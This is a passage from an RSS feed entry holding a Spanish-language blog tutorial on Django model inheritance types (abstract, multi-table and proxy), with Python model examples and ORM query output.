      <guid>https://coffeebytes.dev/es/django/comprende-los-tipos-de-herencia-en-modelos-de-django/</guid>
      
      <category>django</category>
      
      <category>databases</category>
      
      
      
      
      
      <content:encoded>&lt;p&gt;A veces, cuando creamos Modelos en Django queremos darle ciertas características en común a varios de nuestros modelos. Probablemente, la aproximación que se nos vendría primero a la mente sería repetir los campos una y otra vez. Lo anterior nos traería dos problemas; el primero, estamos repitiendo información; el segundo, si queremos agregar otro campo en común tendremos que modificar cada uno de los modelos. Esta problemática es la que resuelve la herencia de modelos de Django.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# Nota como se repiten múltiples campos en los dos modelos&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; django.db &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; models&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;class&lt;/span&gt; &lt;span style=&#34;color:#f3f99d&#34;&gt;Product&lt;/span&gt;(models&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;Model):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    name &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; models&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;CharField(max_length&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;150&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    description &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; models&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;TextField()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    manufacter &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; models&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;ForeignKey(Manufacter, on_delete&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;models&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;CASCADE)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    modified &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; models&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;DateTimeField(auto_now&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;True&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    created &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; models&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;DateTimeField(auto_now_add&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;True&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;class&lt;/span&gt; &lt;span style=&#34;color:#f3f99d&#34;&gt;Manufacturer&lt;/span&gt;(models&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;Model):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    name &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; models&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;CharField(max_length&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;100&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    description &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; models&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;TextField()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    modified &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; models&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;DateTimeField(auto_now&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;True&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    created &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; models&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;DateTimeField(auto_now_add&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;True&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# ... otros diez modelos con los mismos campos abajo&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;tipos-de-herencia-en-django&#34;&gt;Tipos de herencia en Django&lt;/h2&gt;&#xA;&lt;p&gt;Hay tres tipos de herencia disponible y cada uno se comporta de manera diferente a nivel tabla:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Abstracta&lt;/li&gt;&#xA;&lt;li&gt;Multi tabla&lt;/li&gt;&#xA;&lt;li&gt;Proxy&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Para este ejemplo estaré usando la versión de Django 3.1 y Python 3.7&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-1124666671&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;1124666671&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .google-ads-container-1124666671{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;        .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;h2 id=&#34;herencia-abstracta&#34;&gt;Herencia Abstracta&lt;/h2&gt;&#xA;&lt;p&gt;Este tipo de herencia nos permite poner una variedad de campos en común que deseamos que incluyan los modelos que hereden de este. Para definir un modelo como Abstracto basta con agregar la clase &lt;em&gt;Meta&lt;/em&gt; que contenga un atributo llamado &lt;em&gt;abstract&lt;/em&gt; igual a &lt;em&gt;True&lt;/em&gt;. &lt;strong&gt;Django no va a crear ninguna tabla&lt;/strong&gt; para un modelo con &lt;em&gt;Meta.abstract = True&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; django.db &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; models&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;class&lt;/span&gt; &lt;span style=&#34;color:#f3f99d&#34;&gt;BasicData&lt;/span&gt;(models&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;Model):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    modified &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; models&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;DateTimeField(auto_now&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;True&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    created &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; models&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;DateTimeField(auto_now_add&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;True&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;class&lt;/span&gt; &lt;span style=&#34;color:#f3f99d&#34;&gt;Meta&lt;/span&gt;:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        abstract &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;True&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;class&lt;/span&gt; &lt;span style=&#34;color:#f3f99d&#34;&gt;Product&lt;/span&gt;(BasicData):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    name &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; models&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;CharField(max_length&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;150&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    description &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; models&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;TextField()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;class&lt;/span&gt; &lt;span style=&#34;color:#f3f99d&#34;&gt;ShippingMethod&lt;/span&gt;(BasicData):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    name &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; models&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;CharField(max_length&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;150&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    description &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; models&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;TextField()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    price &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; models&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;PositiveIntegerField()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;En el ejemplo de arriba ambos modelos incluirán los campos de &lt;em&gt;modified&lt;/em&gt; y &lt;em&gt;created&lt;/em&gt;, sin embargo &lt;strong&gt;Django no creará ninguna tabla&lt;/strong&gt; para el modelo &lt;em&gt;BasicData&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;h2 id=&#34;herencia-multi-tabla&#34;&gt;Herencia Multi Tabla&lt;/h2&gt;&#xA;&lt;p&gt;En este tipo de herencia Django &lt;strong&gt;sí creará una tabla por cada modelo&lt;/strong&gt; (por eso se llama multi tabla). Además unirá ambos modelos automáticamente por medio de un campo &lt;em&gt;OneToOneField&lt;/em&gt; en el modelo hijo.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; django.db &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; models&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;class&lt;/span&gt; &lt;span style=&#34;color:#f3f99d&#34;&gt;Place&lt;/span&gt;(models&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;Model):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    name &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; models&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;CharField(max_length&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;150&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    address &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; models&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;CharField(max_length&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;150&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    modified &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; models&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;DateTimeField(auto_now&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;True&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    created &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; models&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;DateTimeField(auto_now_add&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;True&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;class&lt;/span&gt; &lt;span style=&#34;color:#f3f99d&#34;&gt;Cafe&lt;/span&gt;(Place):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    number_of_employees &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; models&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;IntegerField()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    speciality_coffee_available &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; models&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;BooleanField(default&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;False&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;En el ejemplo de arriba puede que nos interese tener ambos modelos, podemos filtrar por Place y luego podemos acceder al hijo por medio de su relación uno a uno &lt;strong&gt;usando su nombre de modelo en minúsculas.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;myFavoriteCafe &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; Place&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;objects&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;get(name&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Matraz cafe&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;print&lt;/span&gt;(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Matraz Cafe has &lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;{}&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt; employees&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;format(myFavoriteCafe&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;cafe&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;number_of_employees))&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;herencia-proxy&#34;&gt;Herencia proxy&lt;/h2&gt;&#xA;&lt;p&gt;Este tipo de herencia se usa para cambiar o extender el comportamiento de un modelo. Para crearlo basta con añadir la clase &lt;em&gt;Meta&lt;/em&gt; con el atributo &lt;em&gt;proxy&lt;/em&gt; igual a &lt;em&gt;True&lt;/em&gt;. En este caso ambos modelos se encuentran en la misma tabla y podemos crear, acceder, actualizar o borrar los datos usando cualquiera de sus modelos.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; django.db &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; models&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;class&lt;/span&gt; &lt;span style=&#34;color:#f3f99d&#34;&gt;BaseProduct&lt;/span&gt;(models&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;Model):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    modified &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; models&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;DateTimeField(auto_now&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;True&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    created &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; models&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;DateTimeField(auto_now_add&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;True&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    name &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; models&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;CharField(max_length&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;150&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;__str__&lt;/span&gt;(&lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#ff6ac1&#34;&gt;return&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;{}&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt; created at &lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;{}&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;format(&lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;name, &lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;created&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;strftime(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;%H:%M&amp;#34;&lt;/span&gt;)) &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;class&lt;/span&gt; &lt;span style=&#34;color:#f3f99d&#34;&gt;OrderedContent&lt;/span&gt;(BaseProduct):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;class&lt;/span&gt; &lt;span style=&#34;color:#f3f99d&#34;&gt;Meta&lt;/span&gt;:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        proxy &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;True&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        ordering &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; [&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;-created&amp;#39;&lt;/span&gt;]&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;En el ejemplo de arriba tenemos un nuevo modelo que define un ordenado predeterminado por medio del atributo ordering. Es decir, suponiendo que tuviéramos una tabla con datos podríamos acceder a los mismos datos a partir del ORM de Django.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; app.models &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; BaseProduct, OrderedContent&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# Mismos datos, orden predeterminado&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;BaseProduct&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;objects&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;all()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;&lt;/span&gt;QuerySet [&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;&lt;/span&gt;BaseProduct: Eterno resplandor de una mente sin recuerdos created at &lt;span style=&#34;color:#ff9f43&#34;&gt;21&lt;/span&gt;:&lt;span style=&#34;color:#ff9f43&#34;&gt;59&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;gt;&lt;/span&gt;, &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;&lt;/span&gt;BaseProduct: Arrival created at &lt;span style=&#34;color:#ff9f43&#34;&gt;22&lt;/span&gt;:&lt;span style=&#34;color:#ff9f43&#34;&gt;00&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;gt;&lt;/span&gt;, &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;&lt;/span&gt;BaseProduct: The imitation game created at &lt;span style=&#34;color:#ff9f43&#34;&gt;22&lt;/span&gt;:&lt;span style=&#34;color:#ff9f43&#34;&gt;01&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;gt;&lt;/span&gt;]&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# Mismos datos, orden 